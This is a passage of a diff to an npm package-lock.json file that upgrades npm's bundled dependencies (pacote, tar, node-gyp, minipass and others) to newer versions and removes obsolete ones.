"3.0.0", + "minipass-collect": { + "version": "1.0.2", "bundled": true, "dev": true, "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" + "minipass": "^3.0.0" } }, - "mkdirp": { - "version": "0.5.5", + "minipass-fetch": { + "version": "1.4.1", "bundled": true, "dev": true, "requires": { - "minimist": "^1.2.5" - }, - "dependencies": { - "minimist": { - "version": "1.2.5", - "bundled": true, - "dev": true - } + "encoding": "^0.1.12", + "minipass": "^3.1.0", + "minipass-sized": "^1.0.3", + "minizlib": "^2.0.0" } }, - "move-concurrently": { + "minipass-flush": { + "version": "1.0.5", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^3.0.0" + } + }, + "minipass-json-stream": { "version": "1.0.1", "bundled": true, "dev": true, "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" + "jsonparse": "^1.3.1", + "minipass": "^3.0.0" + } + }, + "minipass-pipeline": { + "version": "1.2.4", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^3.0.0" + } + }, + "minipass-sized": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^3.0.0" + } + }, + "minizlib": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + } + }, + "mkdirp": { + "version": "1.0.4", + "bundled": true, + "dev": true + }, + "mkdirp-infer-owner": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "requires": { + "chownr": "^2.0.0", + "infer-owner": "^1.0.4", + "mkdirp": "^1.0.3" + } + }, + "ms": { + "version": "2.1.3", + "bundled": true, + "dev": true + }, + "mute-stream": { + "version": "0.0.8", + "bundled": true, + "dev": true + }, + "negotiator": { + "version": "0.6.2", + "bundled": true, + "dev": true + }, + "node-gyp": { + "version": "7.1.2", + "bundled": true, + "dev": true, + "requires": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.3", + "nopt": "^5.0.0", + "npmlog": "^4.1.2", + "request": "^2.88.2", + "rimraf": "^3.0.2", + "semver": "^7.3.2", + "tar": "^6.0.2", + "which": "^2.0.2" }, "dependencies": { "aproba": { "version": "1.2.0", "bundled": true, "dev": true - } - } - }, - "ms": { - "version": "2.1.1", - "bundled": true, - "dev": true - }, - "mute-stream": { - "version": "0.0.7", - "bundled": true, - "dev": true - }, - "node-fetch-npm": { - "version": "2.0.2", - "bundled": true, - "dev": true, - "requires": { - "encoding": "^0.1.11", - "json-parse-better-errors": "^1.0.0", - "safe-buffer": "^5.1.1" - } - }, - "node-gyp": { - "version": "5.1.0", - "bundled": true, - "dev": true, - "requires": { - "env-paths": "^2.2.0", - "glob": "^7.1.4", - "graceful-fs": "^4.2.2", - "mkdirp": "^0.5.1", - "nopt": "^4.0.1", - "npmlog": "^4.1.2", - "request": "^2.88.0", - "rimraf": "^2.6.3", - "semver": "^5.7.1", - "tar": "^4.4.12", - "which": "^1.3.1" - } - }, - "nopt": { - "version": "4.0.3", - "bundled": true, - "dev": true, - "requires": { - "abbrev": "1", - "osenv": "^0.1.4" - } - }, - "normalize-package-data": { - "version": "2.5.0", - "bundled": true, - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - }, - "dependencies": { - "resolve": { - "version": "1.10.0", + }, + "gauge": { + "version": "2.7.4", "bundled": true, "dev": true, "requires": { - "path-parse": "^1.0.6" + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } } } }, - "npm-audit-report": { - "version": "1.3.3", + "nopt": { + "version": "5.0.0", "bundled": true, "dev": true, "requires": { - "cli-table3": "^0.5.0", - "console-control-strings": "^1.1.0" + "abbrev": "1" + } + }, + "normalize-package-data": { + "version": "3.0.3", + "bundled": true, + "dev": true, + "requires": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + } + }, + "npm-audit-report": { + "version": "2.1.5", + "bundled": true, + "dev": true, + "requires": { + "chalk": "^4.0.0" } }, "npm-bundled": { - "version": "1.1.1", + "version": "1.1.2", "bundled": true, "dev": true, "requires": { "npm-normalize-package-bin": "^1.0.1" } }, - "npm-cache-filename": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, "npm-install-checks": { - "version": "3.0.2", + "version": "4.0.0", "bundled": true, "dev": true, "requires": { - "semver": "^2.3.0 || 3.x || 4 || 5" + "semver": "^7.1.1" } }, - "npm-lifecycle": { - "version": "3.1.5", - "bundled": true, - "dev": true, - "requires": { - "byline": "^5.0.0", - "graceful-fs": "^4.1.15", - "node-gyp": "^5.0.2", - "resolve-from": "^4.0.0", - "slide": "^1.1.6", - "uid-number": "0.0.6", - "umask": "^1.1.0", - "which": "^1.3.1" - } - }, - "npm-logical-tree": { - "version": "1.2.1", - "bundled": true, - "dev": true - }, "npm-normalize-package-bin": { "version": "1.0.1", "bundled": true, "dev": true }, "npm-package-arg": { - "version": "6.1.1", + "version": "8.1.5", "bundled": true, "dev": true, "requires": { - "hosted-git-info": "^2.7.1", - "osenv": "^0.1.5", - "semver": "^5.6.0", + "hosted-git-info": "^4.0.1", + "semver": "^7.3.4", "validate-npm-package-name": "^3.0.0" } }, "npm-packlist": { - "version": "1.4.8", + "version": "2.2.2", "bundled": true, "dev": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1", + "glob": "^7.1.6", + "ignore-walk": "^3.0.3", + "npm-bundled": "^1.1.1", "npm-normalize-package-bin": "^1.0.1" } }, "npm-pick-manifest": { - "version": "3.0.2", + "version": "6.1.1", "bundled": true, "dev": true, "requires": { - "figgy-pudding": "^3.5.1", - "npm-package-arg": "^6.0.0", - "semver": "^5.4.1" + "npm-install-checks": "^4.0.0", + "npm-normalize-package-bin": "^1.0.1", + "npm-package-arg": "^8.1.2", + "semver": "^7.3.4" } }, "npm-profile": { - "version": "4.0.4", + "version": "5.0.4", "bundled": true, "dev": true, "requires": { - "aproba": "^1.1.2 || 2", - "figgy-pudding": "^3.4.1", - "npm-registry-fetch": "^4.0.0" + "npm-registry-fetch": "^11.0.0" } }, "npm-registry-fetch": { - "version": "4.0.7", + "version": "11.0.0", "bundled": true, "dev": true, "requires": { - "JSONStream": "^1.3.4", - "bluebird": "^3.5.1", - "figgy-pudding": "^3.4.1", - "lru-cache": "^5.1.1", - "make-fetch-happen": "^5.0.0", - "npm-package-arg": "^6.1.0", - "safe-buffer": "^5.2.0" - }, - "dependencies": { - "safe-buffer": { - "version": "5.2.1", - "bundled": true, - "dev": true - } - } - }, - "npm-run-path": { - "version": "2.0.2", - "bundled": true, - "dev": true, - "requires": { - "path-key": "^2.0.0" + "make-fetch-happen": "^9.0.1", + "minipass": "^3.1.3", + "minipass-fetch": "^1.3.0", + "minipass-json-stream": "^1.0.1", + "minizlib": "^2.0.0", + "npm-package-arg": "^8.0.0" } }, "npm-user-validate": { @@ -11904,14 +11170,25 @@ "dev": true }, "npmlog": { - "version": "4.1.2", + "version": "5.0.1", "bundled": true, "dev": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "^2.0.0", + "console-control-strings": "^1.1.0", + "gauge": "^3.0.0", + "set-blocking": "^2.0.0" + }, + "dependencies": { + "are-we-there-yet": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "requires": { + "delegates": "^1.0.0", + "readable-stream": "^3.6.0" + } + } } }, "number-is-nan": { @@ -11929,20 +11206,6 @@ "bundled": true, "dev": true }, - "object-keys": { - "version": "1.0.12", - "bundled": true, - "dev": true - }, - "object.getownpropertydescriptors": { - "version": "2.0.3", - "bundled": true, - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.5.1" - } - }, "once": { "version": "1.4.0", "bundled": true, @@ -11956,165 +11219,72 @@ "bundled": true, "dev": true }, - "os-homedir": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, - "os-tmpdir": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, - "osenv": { - "version": "0.1.5", + "p-map": { + "version": "4.0.0", "bundled": true, "dev": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "p-finally": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "package-json": { - "version": "4.0.1", - "bundled": true, - "dev": true, - "requires": { - "got": "^6.7.1", - "registry-auth-token": "^3.0.1", - "registry-url": "^3.0.3", - "semver": "^5.1.0" + "aggregate-error": "^3.0.0" } }, "pacote": { - "version": "9.5.12", + "version": "11.3.5", "bundled": true, "dev": true, "requires": { - "bluebird": "^3.5.3", - "cacache": "^12.0.2", - "chownr": "^1.1.2", - "figgy-pudding": "^3.5.1", - "get-stream": "^4.1.0", - "glob": "^7.1.3", + "@npmcli/git": "^2.1.0", + "@npmcli/installed-package-contents": "^1.0.6", + "@npmcli/promise-spawn": "^1.2.0", + "@npmcli/run-script": "^1.8.2", + "cacache": "^15.0.5", + "chownr": "^2.0.0", + "fs-minipass": "^2.1.0", "infer-owner": "^1.0.4", - "lru-cache": "^5.1.1", - "make-fetch-happen": "^5.0.0", - "minimatch": "^3.0.4", - "minipass": "^2.3.5", - "mississippi": "^3.0.0", - "mkdirp": "^0.5.1", - "normalize-package-data": "^2.4.0", - "npm-normalize-package-bin": "^1.0.0", - "npm-package-arg": "^6.1.0", - "npm-packlist": "^1.1.12", - "npm-pick-manifest": "^3.0.0", - "npm-registry-fetch": "^4.0.0", - "osenv": "^0.1.5", - "promise-inflight": "^1.0.1", - "promise-retry": "^1.1.1", - "protoduck": "^5.0.1", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.2", - "semver": "^5.6.0", - "ssri": "^6.0.1", - "tar": "^4.4.10", - "unique-filename": "^1.1.1", - "which": "^1.3.1" - }, - "dependencies": { - "minipass": { - "version": "2.9.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - } + "minipass": "^3.1.3", + "mkdirp": "^1.0.3", + "npm-package-arg": "^8.0.1", + "npm-packlist": "^2.1.4", + "npm-pick-manifest": "^6.0.0", + "npm-registry-fetch": "^11.0.0", + "promise-retry": "^2.0.1", + "read-package-json-fast": "^2.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.1.0" } }, - "parallel-transform": { - "version": "1.1.0", + "parse-conflict-json": { + "version": "1.1.1", "bundled": true, "dev": true, "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } + "json-parse-even-better-errors": "^2.3.0", + "just-diff": "^3.0.1", + "just-diff-apply": "^3.0.0" } }, - "path-exists": { - "version": "3.0.0", - "bundled": true, - "dev": true - }, "path-is-absolute": { "version": "1.0.1", "bundled": true, "dev": true }, - "path-is-inside": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, - "path-key": { - "version": "2.0.1", - "bundled": true, - "dev": true - }, - "path-parse": { - "version": "1.0.6", - "bundled": true, - "dev": true - }, "performance-now": { "version": "2.1.0", "bundled": true, "dev": true }, - "pify": { - "version": "3.0.0", + "proc-log": { + "version": "1.0.0", "bundled": true, "dev": true }, - "prepend-http": { - "version": "1.0.4", + "promise-all-reject-late": { + "version": "1.0.1", "bundled": true, "dev": true }, - "process-nextick-args": { - "version": "2.0.0", + "promise-call-limit": { + "version": "1.0.1", "bundled": true, "dev": true }, @@ -12124,19 +11294,12 @@ "dev": true }, "promise-retry": { - "version": "1.1.1", + "version": "2.0.1", "bundled": true, "dev": true, "requires": { - "err-code": "^1.0.0", - "retry": "^0.10.0" - }, - "dependencies": { - "retry": { - "version": "0.10.1", - "bundled": true, - "dev": true - } + "err-code": "^2.0.2", + "retry": "^0.12.0" } }, "promzard": { @@ -12147,66 +11310,13 @@ "read": "1" } }, - "proto-list": { - "version": "1.2.4", - "bundled": true, - "dev": true - }, - "protoduck": { - "version": "5.0.1", - "bundled": true, - "dev": true, - "requires": { - "genfun": "^5.0.0" - } - }, - "prr": { - "version": "1.0.1", - "bundled": true, - "dev": true - }, - "pseudomap": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, "psl": { - "version": "1.1.29", + "version": "1.8.0", "bundled": true, "dev": true }, - "pump": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "pumpify": { - "version": "1.5.1", - "bundled": true, - "dev": true, - "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - } - } - }, "punycode": { - "version": "1.4.1", + "version": "2.1.1", "bundled": true, "dev": true }, @@ -12220,32 +11330,6 @@ "bundled": true, "dev": true }, - "query-string": { - "version": "6.8.2", - "bundled": true, - "dev": true, - "requires": { - "decode-uri-component": "^0.2.0", - "split-on-first": "^1.0.0", - "strict-uri-encode": "^2.0.0" - } - }, - "qw": { - "version": "1.0.1", - "bundled": true, - "dev": true - }, - "rc": { - "version": "1.2.8", - "bundled": true, - "dev": true, - "requires": { - "deep-extend": "^0.6.0", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - } - }, "read": { "version": "1.0.7", "bundled": true, @@ -12255,47 +11339,28 @@ } }, "read-cmd-shim": { - "version": "1.0.5", + "version": "2.0.0", "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2" - } - }, - "read-installed": { - "version": "4.0.3", - "bundled": true, - "dev": true, - "requires": { - "debuglog": "^1.0.1", - "graceful-fs": "^4.1.2", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "slide": "~1.1.3", - "util-extend": "^1.0.1" - } + "dev": true }, "read-package-json": { - "version": "2.1.1", + "version": "4.1.1", "bundled": true, "dev": true, "requires": { "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "json-parse-better-errors": "^1.0.1", - "normalize-package-data": "^2.0.0", + "json-parse-even-better-errors": "^2.3.0", + "normalize-package-data": "^3.0.0", "npm-normalize-package-bin": "^1.0.0" } }, - "read-package-tree": { - "version": "5.3.1", + "read-package-json-fast": { + "version": "2.0.3", "bundled": true, "dev": true, "requires": { - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "util-promisify": "^2.1.0" + "json-parse-even-better-errors": "^2.3.0", + "npm-normalize-package-bin": "^1.0.1" } }, "readable-stream": { @@ -12319,25 +11384,8 @@ "once": "^1.3.0" } }, - "registry-auth-token": { - "version": "3.4.0", - "bundled": true, - "dev": true, - "requires": { - "rc": "^1.1.6", - "safe-buffer": "^5.0.1" - } - }, - "registry-url": { - "version": "3.1.0", - "bundled": true, - "dev": true, - "requires": { - "rc": "^1.0.1" - } - }, "request": { - "version": "2.88.0", + "version": "2.88.2", "bundled": true, "dev": true, "requires": { @@ -12348,7 +11396,7 @@ "extend": "~3.0.2", "forever-agent": "~0.6.1", "form-data": "~2.3.2", - "har-validator": "~5.1.0", + "har-validator": "~5.1.3", "http-signature": "~1.2.0", "is-typedarray": "~1.0.0", "isstream": "~0.1.2", @@ -12358,56 +11406,47 @@ "performance-now": "^2.1.0", "qs": "~6.5.2", "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", + "tough-cookie": "~2.5.0", "tunnel-agent": "^0.6.0", "uuid": "^3.3.2" + }, + "dependencies": { + "form-data": { + "version": "2.3.3", + "bundled": true, + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "tough-cookie": { + "version": "2.5.0", + "bundled": true, + "dev": true, + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } } }, - "require-directory": { - "version": "2.1.1", - "bundled": true, - "dev": true - }, - "require-main-filename": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, - "resolve-from": { - "version": "4.0.0", - "bundled": true, - "dev": true - }, "retry": { "version": "0.12.0", "bundled": true, "dev": true }, "rimraf": { - "version": "2.7.1", + "version": "3.0.2", "bundled": true, "dev": true, "requires": { "glob": "^7.1.3" } }, - "run-queue": { - "version": "1.0.3", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.1" - }, - "dependencies": { - "aproba": { - "version": "1.2.0", - "bundled": true, - "dev": true - } - } - }, "safe-buffer": { - "version": "5.1.2", + "version": "5.2.1", "bundled": true, "dev": true }, @@ -12417,16 +11456,11 @@ "dev": true }, "semver": { - "version": "5.7.1", - "bundled": true, - "dev": true - }, - "semver-diff": { - "version": "2.1.0", + "version": "7.3.5", "bundled": true, "dev": true, "requires": { - "semver": "^5.0.3" + "lru-cache": "^6.0.0" } }, "set-blocking": { @@ -12434,118 +11468,37 @@ "bundled": true, "dev": true }, - "sha": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2" - } - }, - "shebang-command": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "requires": { - "shebang-regex": "^1.0.0" - } - }, - "shebang-regex": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, "signal-exit": { - "version": "3.0.2", - "bundled": true, - "dev": true - }, - "slide": { - "version": "1.1.6", + "version": "3.0.3", "bundled": true, "dev": true }, "smart-buffer": { - "version": "4.1.0", + "version": "4.2.0", "bundled": true, "dev": true }, "socks": { - "version": "2.3.3", + "version": "2.6.1", "bundled": true, "dev": true, "requires": { - "ip": "1.1.5", + "ip": "^1.1.5", "smart-buffer": "^4.1.0" } }, "socks-proxy-agent": { - "version": "4.0.2", + "version": "6.0.0", "bundled": true, "dev": true, "requires": { - "agent-base": "~4.2.1", - "socks": "~2.3.2" - }, - "dependencies": { - "agent-base": { - "version": "4.2.1", - "bundled": true, - "dev": true, - "requires": { - "es6-promisify": "^5.0.0" - } - } - } - }, - "sorted-object": { - "version": "2.0.1", - "bundled": true, - "dev": true - }, - "sorted-union-stream": { - "version": "2.1.3", - "bundled": true, - "dev": true, - "requires": { - "from2": "^1.3.0", - "stream-iterate": "^1.1.0" - }, - "dependencies": { - "from2": { - "version": "1.3.0", - "bundled": true, - "dev": true, - "requires": { - "inherits": "~2.0.1", - "readable-stream": "~1.1.10" - } - }, - "isarray": { - "version": "0.0.1", - "bundled": true, - "dev": true - }, - "readable-stream": { - "version": "1.1.14", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "string_decoder": { - "version": "0.10.31", - "bundled": true, - "dev": true - } + "agent-base": "^6.0.2", + "debug": "^4.3.1", + "socks": "^2.6.1" } }, "spdx-correct": { - "version": "3.0.0", + "version": "3.1.1", "bundled": true, "dev": true, "requires": { @@ -12554,12 +11507,12 @@ } }, "spdx-exceptions": { - "version": "2.1.0", + "version": "2.3.0", "bundled": true, "dev": true }, "spdx-expression-parse": { - "version": "3.0.0", + "version": "3.0.1", "bundled": true, "dev": true, "requires": { @@ -12568,17 +11521,12 @@ } }, "spdx-license-ids": { - "version": "3.0.5", - "bundled": true, - "dev": true - }, - "split-on-first": { - "version": "1.1.0", + "version": "3.0.10", "bundled": true, "dev": true }, "sshpk": { - "version": "1.14.2", + "version": "1.16.1", "bundled": true, "dev": true, "requires": { @@ -12594,65 +11542,13 @@ } }, "ssri": { - "version": "6.0.2", + "version": "8.0.1", "bundled": true, "dev": true, "requires": { - "figgy-pudding": "^3.5.1" + "minipass": "^3.1.1" } }, - "stream-each": { - "version": "1.2.2", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "stream-iterate": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "requires": { - "readable-stream": "^2.1.5", - "stream-shift": "^1.0.0" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, - "stream-shift": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "strict-uri-encode": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, "string-width": { "version": "2.1.1", "bundled": true, @@ -12667,11 +11563,6 @@ "bundled": true, "dev": true }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, "strip-ansi": { "version": "4.0.0", "bundled": true, @@ -12688,13 +11579,6 @@ "dev": true, "requires": { "safe-buffer": "~5.2.0" - }, - "dependencies": { - "safe-buffer": { - "version": "5.2.0", - "bundled": true, - "dev": true - } } }, "stringify-package": { @@ -12710,55 +11594,25 @@ "ansi-regex": "^2.0.0" } }, - "strip-eof": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "strip-json-comments": { - "version": "2.0.1", - "bundled": true, - "dev": true - }, "supports-color": { - "version": "5.4.0", + "version": "7.2.0", "bundled": true, "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "^4.0.0" } }, "tar": { - "version": "4.4.13", + "version": "6.1.11", "bundled": true, "dev": true, "requires": { - "chownr": "^1.1.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.8.6", - "minizlib": "^1.2.1", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.3" - }, - "dependencies": { - "minipass": { - "version": "2.9.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - } - } - }, - "term-size": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "requires": { - "execa": "^0.7.0" + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^3.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" } }, "text-table": { @@ -12766,62 +11620,15 @@ "bundled": true, "dev": true }, - "through": { - "version": "2.3.8", - "bundled": true, - "dev": true - }, - "through2": { - "version": "2.0.3", - "bundled": true, - "dev": true, - "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, - "timed-out": { - "version": "4.0.1", - "bundled": true, - "dev": true - }, "tiny-relative-date": { "version": "1.3.0", "bundled": true, "dev": true }, - "tough-cookie": { - "version": "2.4.3", + "treeverse": { + "version": "1.0.4", "bundled": true, - "dev": true, - "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" - } + "dev": true }, "tunnel-agent": { "version": "0.6.0", @@ -12834,23 +11641,15 @@ "tweetnacl": { "version": "0.14.5", "bundled": true, + "dev": true + }, + "typedarray-to-buffer": { + "version": "3.1.5", + "bundled": true, "dev": true, - "optional": true - }, - "typedarray": { - "version": "0.0.6", - "bundled": true, - "dev": true - }, - "uid-number": { - "version": "0.0.6", - "bundled": true, - "dev": true - }, - "umask": { - "version": "1.1.0", - "bundled": true, - "dev": true + "requires": { + "is-typedarray": "^1.0.0" + } }, "unique-filename": { "version": "1.1.1", @@ -12861,69 +11660,19 @@ } }, "unique-slug": { - "version": "2.0.0", + "version": "2.0.2", "bundled": true, "dev": true, "requires": { "imurmurhash": "^0.1.4" } }, - "unique-string": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "requires": { - "crypto-random-string": "^1.0.0" - } - }, - "unpipe": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "unzip-response": { - "version": "2.0.1", - "bundled": true, - "dev": true - }, - "update-notifier": { - "version": "2.5.0", - "bundled": true, - "dev": true, - "requires": { - "boxen": "^1.2.1", - "chalk": "^2.0.1", - "configstore": "^3.0.0", - "import-lazy": "^2.1.0", - "is-ci": "^1.0.10", - "is-installed-globally": "^0.1.0", - "is-npm": "^1.0.0", - "latest-version": "^3.0.0", - "semver-diff": "^2.0.0", - "xdg-basedir": "^3.0.0" - } - }, "uri-js": { - "version": "4.4.0", + "version": "4.4.1", "bundled": true, "dev": true, "requires": { "punycode": "^2.1.0" - }, - "dependencies": { - "punycode": { - "version": "2.1.1", - "bundled": true, - "dev": true - } - } - }, - "url-parse-lax": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "requires": { - "prepend-http": "^1.0.1" } }, "util-deprecate": { @@ -12931,21 +11680,8 @@ "bundled": true, "dev": true }, - "util-extend": { - "version": "1.0.3", - "bundled": true, - "dev": true - }, - "util-promisify": { - "version": "2.1.0", - "bundled": true, - "dev": true, - "requires": { - "object.getownpropertydescriptors": "^2.0.3" - } - }, "uuid": { - "version": "3.3.3", + "version": "3.4.0", "bundled": true, "dev": true }, @@ -12976,6 +11712,11 @@ "extsprintf": "^1.2.0" } }, + "walk-up-path": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, "wcwidth": { "version": "1.0.1", "bundled": true, @@ -12985,92 +11726,19 @@ } }, "which": { - "version": "1.3.1", + "version": "2.0.2", "bundled": true, "dev": true, "requires": { "isexe": "^2.0.0" } }, - "which-module": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, "wide-align": { - "version": "1.1.2", + "version": "1.1.3", "bundled": true, "dev": true, "requires": { - "string-width": "^1.0.2" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - }, - "widest-line": { - "version": "2.0.1", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^2.1.1" - } - }, - "worker-farm": { - "version": "1.7.0", - "bundled": true, - "dev": true, - "requires": { - "errno": "~0.1.7" - } - }, - "wrap-ansi": { - "version": "5.1.0", - "bundled": true, - "dev": true, - "requires": { - "ansi-styles": "^3.2.0", - "string-width": "^3.0.0", - "strip-ansi": "^5.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "bundled": true, - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, - "string-width": { - "version": "3.1.0", - "bundled": true, - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "bundled": true, - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } + "string-width": "^1.0.2 || 2" } }, "wrappy": { @@ -13079,136 +11747,20 @@ "dev": true }, "write-file-atomic": { - "version": "2.4.3", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.11", - "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.2" - } - }, - "xdg-basedir": { - "version": "3.0.0", - "bundled": true, - "dev": true - }, - "xtend": { - "version": "4.0.1", - "bundled": true, - "dev": true - }, - "y18n": { - "version": "4.0.1", - "bundled": true, - "dev": true - }, - "yallist": { "version": "3.0.3", "bundled": true, + "dev": true, + "requires": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "yallist": { + "version": "4.0.0", + "bundled": true, "dev": true - }, - "yargs": { - "version": "14.2.3", - "bundled": true, - "dev": true, - "requires": { - "cliui": "^5.0.0", - "decamelize": "^1.2.0", - "find-up": "^3.0.0", - "get-caller-file": "^2.0.1", - "require-directory": "^2.1.1", - "require-main-filename": 